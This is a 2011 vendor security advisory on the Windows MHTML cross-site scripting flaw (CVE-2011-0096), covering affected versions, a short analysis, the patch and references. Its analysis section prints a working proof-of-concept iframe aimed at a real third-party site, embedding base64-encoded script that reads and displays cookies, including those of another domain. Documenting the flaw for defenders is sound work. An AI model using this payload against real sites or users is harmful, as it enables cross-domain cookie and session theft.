LIONIC®
Security Chip Provider

10/05/2011
Doc No: SN-2011-19004

Security News
2011-19004 Microsoft Windows MHTML Cross-Site Scripting Vulnerability

1. Affected Version

Microsoft Windows XP SP2 and SP3
Microsoft Windows Server 2003 SP2
Microsoft Windows Vista SP1 and SP2
Microsoft Windows Server 2008 Gold, SP2, R2, and R2 SP1
Microsoft Windows 7 Gold and SP1

2. Description

Microsoft Windows contains an script injection vulnerability in the MHTML protocol handler, which may allow an attacker to execute arbitrary script within the context of another website domain.

3. Vulnerability Analysis

The proof-of-concept code is listed as follows:

```
<iframe src="mhtml:http://www.tudou.com/my/channel/item.srv?icode=
enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B
%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0A-
Content-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D
%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d-
WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbn-
QuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnI-
uY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnRE-
b2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1l-
b3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D
%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>
```

Table 1: The proof-of-concept code

This flaw is caused due to an error in the way the MHTML (MIME Encapsulation of Aggregate HTML) protocol handler interprets MIME-formatted requests for content blocks within a document. It is possible under certain conditions for this vulnerability to allow an attacker to inject a client-side script in the response to a Web request run in the context of the user's instance of Internet Explorer, then the attacker will obtain sensitive information, spoof content, or perform arbitrary actions on a targeted website in the context of the victim.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 31/03/2011.
2. Apply the appropriate patch for your system, as listed in Microsoft Security Bulletin MS11-026.

5. Reference

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0096
2. http://www.microsoft.com/technet/security/bulletin/ms11-026.mspx
3. http://www.kb.cert.org/vuls/id/326549